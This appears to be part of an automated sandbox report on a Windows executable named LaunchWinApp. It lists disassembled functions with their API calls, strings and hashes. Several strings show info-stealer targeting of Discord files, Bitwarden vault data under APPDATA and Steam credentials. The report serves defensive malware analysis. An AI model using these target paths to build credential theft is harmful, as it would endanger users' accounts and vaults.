Uniqueness

Uniqueness Score: -1.00%

Function 00454077 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 375COMMONLIBRARYCODE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0045415D
__freea.LIBCMT ref: 004541FD
__freea.LIBCMT ref: 00454219

Strings

am/pm, xrefs: 0045427D
a/p, xrefs: 004542E1

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16
String ID: a/p$am/pm
API String ID: 3509577899-3206640213
Opcode ID: a88ad6fc5e9771a152d3737713903e08dcfb710b71e5b7b69026dc099eb9a005
Instruction ID: 80ec3662948bfb2d0a43e754b645e6b22c10ed2a1998558310f4b1d7a1760166
Opcode Fuzzy Hash: a88ad6fc5e9771a152d3737713903e08dcfb710b71e5b7b69026dc099eb9a005
Instruction Fuzzy Hash: 3FC1C0309402159ADB148FA8C485BBBB7B0FF8670AF14414BED01AF756D3399DCACB69

Uniqueness

Uniqueness Score: -1.00%

Function 0043AE1C Relevance: 9.1, APIs: 6, Instructions: 62COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0043AE21
std::_Lockit::_Lockit.LIBCPMT ref: 0043AE2F
int.LIBCPMT ref: 0043AE46

Part of subcall function 0040B0CB: std::_Lockit::_Lockit.LIBCPMT ref: 0040B0DC
Part of subcall function 0040B0CB: std::_Lockit::~_Lockit.LIBCPMT ref: 0040B0F6

std::_Facet_Register.LIBCPMT ref: 0043AE80
std::_Lockit::~_Lockit.LIBCPMT ref: 0043AE96
Concurrency::cancel_current_task.LIBCPMT ref: 0043AEAB

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prologRegister
String ID:
API String ID: 2251497708-0
Opcode ID: 39e6a226f42779e075a99bd6fd9bdaa9fc4c94db055b3ddce5ab1941c0e10beb
Instruction ID: 0eaca251d43b7c1582b9e51cfad4196a16b8be0056e0621c5a7123b897a3bfe2
Opcode Fuzzy Hash: 39e6a226f42779e075a99bd6fd9bdaa9fc4c94db055b3ddce5ab1941c0e10beb
Instruction Fuzzy Hash: A1110431D406199FCB15EB95D806BBF7768EB48324F10452FF815AB2C1DB7C9E00879A

Uniqueness

Uniqueness Score: -1.00%

Function 00443D24 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00443D1B,00442816,00441485), ref: 00443D32
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00443D40
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00443D59
SetLastError.KERNEL32(00000000,00443D1B,00442816,00441485), ref: 00443DAB

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: ea2095098b8ef40ca2b8c57d70f8f3870853234c2120859939b32a953a8cb9f6
Instruction ID: 52a63c57e1e2eaa61ccc3210d23838540827820d24ce74351a840043bd10aa2f
Opcode Fuzzy Hash: ea2095098b8ef40ca2b8c57d70f8f3870853234c2120859939b32a953a8cb9f6
Instruction Fuzzy Hash: AF01F076518B155FFB242F76AC4591B1754EB01F76B30033FF410811E1EF594D45624C

Uniqueness

Uniqueness Score: -1.00%

Function 0043639B Relevance: 9.1, APIs: 6, Instructions: 56COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 004363A5
_strlen.LIBCMT ref: 004363BA
_strcat.LIBCMT ref: 004363DD
_strlen.LIBCMT ref: 004363E3
_strcat.LIBCMT ref: 004363F7
_strlen.LIBCMT ref: 004363FD

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: _strlen$_strcat
String ID:
API String ID: 1497175149-0
Opcode ID: 0dd0892110a37bc9201c394f4bdf0bdd7a7fdf0edc5612075cede24231acf7ba
Instruction ID: 8e5531d34cf804a41d62f52e586791ea4426aca56c348e814b6f1d867f8dd421
Opcode Fuzzy Hash: 0dd0892110a37bc9201c394f4bdf0bdd7a7fdf0edc5612075cede24231acf7ba
Instruction Fuzzy Hash: 2901C436501204BBDF10DF598C8189B7769DF88314755842EFD0997202D738FE0946A8

Uniqueness

Uniqueness Score: -1.00%

Function 004145DD Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004145E2
std::_Lockit::_Lockit.LIBCPMT ref: 004145F0
int.LIBCPMT ref: 00414607

Part of subcall function 0040B0CB: std::_Lockit::_Lockit.LIBCPMT ref: 0040B0DC
Part of subcall function 0040B0CB: std::_Lockit::~_Lockit.LIBCPMT ref: 0040B0F6

std::_Facet_Register.LIBCPMT ref: 00414641
std::_Lockit::~_Lockit.LIBCPMT ref: 00414657
Concurrency::cancel_current_task.LIBCPMT ref: 0041466C

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prologRegister
String ID:
API String ID: 2251497708-0
Opcode ID: 3382fefe8a2c9b990565058c22b878242a5b358caee0f055e4ff84009baeaea9
Instruction ID: bc26f0bd73f21517c2ca4f7b709c7e5c6091d3ee1a50116247b38133b9962e5f
Opcode Fuzzy Hash: 3382fefe8a2c9b990565058c22b878242a5b358caee0f055e4ff84009baeaea9
Instruction Fuzzy Hash: B411CE72D001199BCB14AB64D805AEE7764EF85358F100A2FF825AB2C1DB7C9D04879D

Uniqueness

Uniqueness Score: -1.00%

Function 00414C0B Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00414C10
std::_Lockit::_Lockit.LIBCPMT ref: 00414C1E
int.LIBCPMT ref: 00414C35

Part of subcall function 0040B0CB: std::_Lockit::_Lockit.LIBCPMT ref: 0040B0DC
Part of subcall function 0040B0CB: std::_Lockit::~_Lockit.LIBCPMT ref: 0040B0F6

std::_Facet_Register.LIBCPMT ref: 00414C6F
std::_Lockit::~_Lockit.LIBCPMT ref: 00414C85
Concurrency::cancel_current_task.LIBCPMT ref: 00414C9A

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prologRegister
String ID:
API String ID: 2251497708-0
Opcode ID: 84a36a9e47755f4ba48bdb754d9db14245d4652a8e0e3a412f91805d313f75f3
Instruction ID: ffaf735b7b630aeb951f5f5be7d53bac40b664ad994be057bc4bfab0866c98e5
Opcode Fuzzy Hash: 84a36a9e47755f4ba48bdb754d9db14245d4652a8e0e3a412f91805d313f75f3
Instruction Fuzzy Hash: 2411E571D011159BCB15EF64C809AEE77A5EF84328F10492FF815A72C1EB789E04C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 0043AEE2 Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0043AEE7
std::_Lockit::_Lockit.LIBCPMT ref: 0043AEF5
int.LIBCPMT ref: 0043AF0C

Part of subcall function 0040B0CB: std::_Lockit::_Lockit.LIBCPMT ref: 0040B0DC
Part of subcall function 0040B0CB: std::_Lockit::~_Lockit.LIBCPMT ref: 0040B0F6

std::_Facet_Register.LIBCPMT ref: 0043AF46
std::_Lockit::~_Lockit.LIBCPMT ref: 0043AF5C
Concurrency::cancel_current_task.LIBCPMT ref: 0043AF71

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prologRegister
String ID:
API String ID: 2251497708-0
Opcode ID: 5ebe1cb7329294f4bbc1c9b3572fdd815ce6186b68b10d0ddff4756c2f9bcec1
Instruction ID: c306088514646d633c910f136ed03df30253c506db8b3f17b147bd91f965ccc2
Opcode Fuzzy Hash: 5ebe1cb7329294f4bbc1c9b3572fdd815ce6186b68b10d0ddff4756c2f9bcec1
Instruction Fuzzy Hash: 1011E572D001159BCB18EB54D8456BE7774EF48328F10052FF815A72C1DB789D04C799

Uniqueness

Uniqueness Score: -1.00%

Function 00419340 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00419345

Strings

APPDATA, xrefs: 0041938E, 0041939D
m}qlz, xrefs: 00419488
Q%>#064, xrefs: 00419512
discord_files\, xrefs: 004193F1

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: APPDATA$Q%>#064$discord_files\$m}qlz
API String ID: 3519838083-1980083310
Opcode ID: 935f3f92e6eb2062e79fa94cff32ac5529cb67a9a7e38a833745fec4569356fe
Instruction ID: 7b07bbd8c9a74637b8ff1164013ca671d265103f7aa1fb6be52097d27865991e
Opcode Fuzzy Hash: 935f3f92e6eb2062e79fa94cff32ac5529cb67a9a7e38a833745fec4569356fe
Instruction Fuzzy Hash: 0DB1AC71C05248DACF04DFE5C5A1AEDFBB1AF58308F24416EE41577282DB381A8ACB59

Uniqueness

Uniqueness Score: -1.00%

Function 00443E3B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00443F02
___AdjustPointer.LIBCMT ref: 00443F25
___AdjustPointer.LIBCMT ref: 00443FC1

Strings

\1A, xrefs: 00443E9A

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID: \1A
API String ID: 1740715915-1566668914
Opcode ID: c9d369d6c2daa6797e92e57192e48a54b08b3e5244cb9b01516749d306acba83
Instruction ID: 3b078b88737ffcefddf704eb09056645e977f10e4359ae659fe6a6c38e73a9b1
Opcode Fuzzy Hash: c9d369d6c2daa6797e92e57192e48a54b08b3e5244cb9b01516749d306acba83
Instruction Fuzzy Hash: 0851E371A01702AFFB259F15D881B6AB7B4FF14B16F24052FE80247291D739EE85CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040B37E Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040B3ED
std::locale::_Init.LIBCPMT ref: 0040B435

Strings

ios_base::failbit set, xrefs: 0040B3AA, 0040B3F5
ios_base::eofbit set, xrefs: 0040B3AF
ios_base::badbit set, xrefs: 0040B3A0, 0040B3C5

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prologInitstd::locale::_
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3423815975-1866435925
Opcode ID: 5df9408edca245710e904724637e42faa8fa3b92a83947886b4b9e4734cc67d6
Instruction ID: 8dabb1f538289b519b9cd29bdb6115fabdc5829d5a190bf1b6cac908ee3f737f
Opcode Fuzzy Hash: 5df9408edca245710e904724637e42faa8fa3b92a83947886b4b9e4734cc67d6
Instruction Fuzzy Hash: EF21DBB2900704BFD700DF59D882B99F7A4FB04314F20853FE909A7681E7B9A9508BDD

Uniqueness

Uniqueness Score: -1.00%

Function 00425ACB Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 67COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00425AD0

Strings

A:\_Work\rc-build-v1-exe\json.hpp, xrefs: 00425ADC, 00425AEC, 00425B21, 00425B45
m_it.object_iterator != m_object->m_value.object->end(), xrefs: 00425B46
m_object != nullptr, xrefs: 00425AED
m_it.array_iterator != m_object->m_value.array->end(), xrefs: 00425B22

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: A:\_Work\rc-build-v1-exe\json.hpp$m_it.array_iterator != m_object->m_value.array->end()$m_it.object_iterator != m_object->m_value.object->end()$m_object != nullptr
API String ID: 3519838083-3557933457
Opcode ID: 17ba67ccae13c10c904f1db2fcf17925a53df4072d78637923f835ba692696a2
Instruction ID: 0017af9e6d2c49271430114ab1e0aad326fcc0ffdae2a020be648607e4c20502
Opcode Fuzzy Hash: 17ba67ccae13c10c904f1db2fcf17925a53df4072d78637923f835ba692696a2
Instruction Fuzzy Hash: 1121F030B006409BC728EB59D896EEAB7A5EF81704F54802FE046A7691E779BD04CB1D

Uniqueness

Uniqueness Score: -1.00%

Function 00444EF7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,00444FB8,?,?,0048D4AC,00000000,?,004450E3,00000004,InitializeCriticalSectionEx,004707B4,InitializeCriticalSectionEx,00000000), ref: 00444F87

Strings

api-ms-, xrefs: 00444F47

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 604e49e76cd0c6a5586cd97f15cfa2aa341845e513ab46da451ae716670c7f5b
Instruction ID: 1f972a5013132b9a2514da2768aa34ae16f3e64387eee4a1259ae6c821b090d3
Opcode Fuzzy Hash: 604e49e76cd0c6a5586cd97f15cfa2aa341845e513ab46da451ae716670c7f5b
Instruction Fuzzy Hash: 5411E931E41621ABFB225B689C44B5A73989F81770F150222F904EB3D0D778ED0986ED

Uniqueness

Uniqueness Score: -1.00%

Function 0045FC9D Relevance: 7.8, APIs: 5, Instructions: 330timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0045FD5A
_free.LIBCMT ref: 0045FF26
_free.LIBCMT ref: 0045FF9E
GetTimeZoneInformation.KERNEL32(?,?,00000000,?,?,00000000,?,?,?,?,?,?,0046015F,?,?,00000000), ref: 0045FFB0

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: 5b5c36463914b60fada14f4c77f04e29bbec69af042e17b559968db5563f0ab1
Instruction ID: 3b6509a3aaa5cb4486c51181d3b77dbc3df959ff6deecf67bcce13ac11779d85
Opcode Fuzzy Hash: 5b5c36463914b60fada14f4c77f04e29bbec69af042e17b559968db5563f0ab1
Instruction Fuzzy Hash: 3FA10572D00215ABDB10AF65DC42AAF77B9EF01314F10447FFC01A7292EB789E09875A

Uniqueness

Uniqueness Score: -1.00%

Function 0045A5CE Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0045A652
__alloca_probe_16.LIBCMT ref: 0045A718
__freea.LIBCMT ref: 0045A784

Part of subcall function 0045A421: RtlAllocateHeap.NTDLL(00000000,0043FE4F,00000000,?,00441C9B,00000002,00000000,?,tI3iZ,?,0040A956,0043FE4F,00000004,00000000,00000000,00000000), ref: 0045A453

__freea.LIBCMT ref: 0045A78D
__freea.LIBCMT ref: 0045A7B0

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: f8a4c183bbedd41610f5d02485e4a49b04d78d62b21bce046194336a3891d7f8
Instruction ID: e914f13bd4f781b9195ba76ab96e16fcc9f3b587ae55c9456e40ae077c7670cd
Opcode Fuzzy Hash: f8a4c183bbedd41610f5d02485e4a49b04d78d62b21bce046194336a3891d7f8
Instruction Fuzzy Hash: 7A51F9725001066FEB209F65CC41EBF37B9DF44755F19422AFD04A7242E73CDC6986AA

Uniqueness

Uniqueness Score: -1.00%

Function 0043E687 Relevance: 7.6, APIs: 5, Instructions: 98timeCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,00000000,?,00000000), ref: 0043E6CF
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,?,00000000), ref: 0043E700
GetLocalTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,0043E666,00000000,00000000), ref: 0043E72F
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0043E666), ref: 0043E73D
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043E76F

Part of subcall function 0043E1EE: GetFileInformationByHandle.KERNEL32(?,?), ref: 0043E202

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: File$Time$Pointer$HandleInformationLocalSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 89576305-0
Opcode ID: a97c9d76b1311824f083ed3e047e25bd65e297262963cd6987ab4e5ad68f95f5
Instruction ID: ef1310bff113cda712694c82db917a5c0f64994a0e324728486c45fde73ae1a2
Opcode Fuzzy Hash: a97c9d76b1311824f083ed3e047e25bd65e297262963cd6987ab4e5ad68f95f5
Instruction Fuzzy Hash: 95315E76500B04AFDB25DF6AC885AABBBE8FF48314F00492EF596C2750E774A944CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0041EF83 Relevance: 7.6, APIs: 5, Instructions: 73COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 0041EF97
CreateDirectoryA.KERNEL32(?,00000000), ref: 0041EFA5
_strcat.LIBCMT ref: 0041F00B
GetFileAttributesA.KERNEL32(00000000), ref: 0041F028
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 0041F03C

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: AttributesCreateDirectoryFile$_strcat
String ID:
API String ID: 2481838186-0
Opcode ID: 7852bfbac150959f4e70604c0434f0458f3174453ce2b98333d25777c9a3b7e9
Instruction ID: e3d341d44dc2a90c2cc9d48443a9322f804368b5e7d32a0cebebcc724c8842ff
Opcode Fuzzy Hash: 7852bfbac150959f4e70604c0434f0458f3174453ce2b98333d25777c9a3b7e9
Instruction Fuzzy Hash: 2211CC7990031467CF20866AAC88BCB7B5D8F46320F2002ABED50D3282D7B84DC7866D

Uniqueness

Uniqueness Score: -1.00%

Function 00461C9D Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00461CB5

Part of subcall function 0045813E: HeapFree.KERNEL32(00000000,00000000,?,00461F3E,?,00000000,?,00000002,?,004621E1,?,00000007,?,?,004625E2,?), ref: 00458154
Part of subcall function 0045813E: GetLastError.KERNEL32(?,?,00461F3E,?,00000000,?,00000002,?,004621E1,?,00000007,?,?,004625E2,?,?), ref: 00458166

_free.LIBCMT ref: 00461CC7
_free.LIBCMT ref: 00461CD9
_free.LIBCMT ref: 00461CEB
_free.LIBCMT ref: 00461CFD

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 4f6779a0d28aeb5e5c08a1444330e3e82953e57d6866c30b29454afd17918678
Instruction ID: aa683883e4bf9f92d5df4c7e7fdd7b4ad3d446d5baa26e2b2be0bdd6c7a0abf7
Opcode Fuzzy Hash: 4f6779a0d28aeb5e5c08a1444330e3e82953e57d6866c30b29454afd17918678
Instruction Fuzzy Hash: B9F0EC72544604ABC620DB59F68AC1EB3E9BA00751B980C1EF488E7A11DE38FC81875D

Uniqueness

Uniqueness Score: -1.00%

Function 00460303 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0046049D

Strings

*?, xrefs: 00460346

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 7fa266a37d41f0b4a18f976dcdf544c7172ae4830185023379f90e57f63d4ead
Instruction ID: b7153f1e9cd073f9a73f51101fdca5ca75928110e5a7738806b61394bae748ab
Opcode Fuzzy Hash: 7fa266a37d41f0b4a18f976dcdf544c7172ae4830185023379f90e57f63d4ead
Instruction Fuzzy Hash: 62616F75D002199FDB24CFA9C8815EEFBF5FF48314B24816AE845F7301EA35AE418B95

Uniqueness

Uniqueness Score: -1.00%

Function 00452F18 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 141COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0045A1CF: GetLastError.KERNEL32(?,?,?,00452DDB,00485C98,00000008,0043F87A,?,00415450,?,7FFFFFFF,?,00000000,00415155), ref: 0045A1D4
Part of subcall function 0045A1CF: SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,?,00452DDB,00485C98,00000008,0043F87A,?,00415450,?,7FFFFFFF,?,00000000), ref: 0045A272

_free.LIBCMT ref: 00452FC7
_free.LIBCMT ref: 00452FF5
_free.LIBCMT ref: 00453038

Strings

H1E, xrefs: 00452F4E, 00452F98, 00452FD4, 00452F51, 00452F9B

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast
String ID: H1E
API String ID: 3291180501-1092859847
Opcode ID: bb9f89436ab2fbf003f44f64066b1f908fd4042066fa3ffe1476e3e2795e30ce
Instruction ID: 59428e441042946987c7b26c97f00ffd105bc5ee51f0b5168e9e89f327d4970c
Opcode Fuzzy Hash: bb9f89436ab2fbf003f44f64066b1f908fd4042066fa3ffe1476e3e2795e30ce
Instruction Fuzzy Hash: 6F419A316002019FDB24DFADC881A6AB3F8EF09356B24066FE845D7396EB35ED149B44

Uniqueness

Uniqueness Score: -1.00%

Function 00418FF9 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 107COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00418FFE

Part of subcall function 00435C2D: __EH_prolog.LIBCMT ref: 00435C32
Part of subcall function 00435C2D: _strcat.LIBCMT ref: 00435C8D

Part of subcall function 00413E27: _Deallocate.LIBCONCRT ref: 00413E3C

Part of subcall function 004360CE: GetEnvironmentVariableA.KERNEL32(?,?,00000104,00000000), ref: 0043611A

Part of subcall function 004169F1: CreateTransaction.KTMW32(00000000,00000000,00000001,00000000,00000000,000000FF,00000000), ref: 00416A05
Part of subcall function 004169F1: CreateDirectoryTransactedA.KERNEL32 ref: 00416A1E
Part of subcall function 004169F1: CommitTransaction.KTMW32(00000000,?,00000000,00000000), ref: 00416A29

Part of subcall function 00414005: _Deallocate.LIBCONCRT ref: 00414014

Strings

APPDATA, xrefs: 0041900A, 0041903A
bitwarden, xrefs: 00419023
\data.json, xrefs: 00419028

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: CreateDeallocateH_prologTransaction$CommitDirectoryEnvironmentTransactedVariable_strcat
String ID: APPDATA$\data.json$bitwarden
API String ID: 178285706-3227786767
Opcode ID: 757565255662bcb8f3071404d4112d11e0b1611896a7f9ac9c61d4877bae87ff
Instruction ID: cca6550cebee4b1886801e926d5d5193d0ea27880837fc07405ff2b089349c37
Opcode Fuzzy Hash: 757565255662bcb8f3071404d4112d11e0b1611896a7f9ac9c61d4877bae87ff
Instruction Fuzzy Hash: 48419131D04709DFDF04EBE9E8556EDBBB1AF58314F14486FE00167281DB781A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00432CA5 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 80COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00432CAA

Strings

A:\_Work\rc-build-v1-exe\json.hpp, xrefs: 00432CDC
steamstr, xrefs: 00432CB3
object != nullptr, xrefs: 00432CE1

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: A:\_Work\rc-build-v1-exe\json.hpp$object != nullptr$steamstr
API String ID: 3519838083-1786769808
Opcode ID: 8c33a5cd72729253047e229faf75739d29221c32349492c5fd27e2724cd4d1c3
Instruction ID: f9fb5fd95529f1e185078d4fdfb92a1590a3b113bb1c37e119bef744b12400ee
Opcode Fuzzy Hash: 8c33a5cd72729253047e229faf75739d29221c32349492c5fd27e2724cd4d1c3
Instruction Fuzzy Hash: 30212671A00215AFDB00DF69C991AEDF7B4FF49304F04852EE446E7391DBB8A905CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00415110 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

_wmemset.LIBCMT ref: 00415188
_Deallocate.LIBCONCRT ref: 004151A2
_wmemset.LIBCMT ref: 004151BA

Strings

tI3iZ, xrefs: 00415119

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: _wmemset$Deallocate
String ID: tI3iZ
API String ID: 1150821927-901813608
Opcode ID: 1176fffbc2e1e897e38406ed78a6e181bd88a73329293da6ad30fefbd6583b02
Instruction ID: a923f8d8dc02ef7f2375fb58b9147bee414587b024fa1c36fc0003c171cf3b2a
Opcode Fuzzy Hash: 1176fffbc2e1e897e38406ed78a6e181bd88a73329293da6ad30fefbd6583b02
Instruction Fuzzy Hash: B121BF71A00219FBCB05DF99D9818EE7BB8EF89354B10046EF805D7251DA359A60CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE40 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040AE45

Part of subcall function 0043F3DC: FormatMessageA.KERNEL32(00001300,00000000,?,00000000,?,00000000,00000000), ref: 0043F3F2

LocalFree.KERNEL32(0000000F,unknown error,0000000D), ref: 0040AE8B
LocalFree.KERNEL32(?), ref: 0040AEA4

Strings

unknown error, xrefs: 0040AE70

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

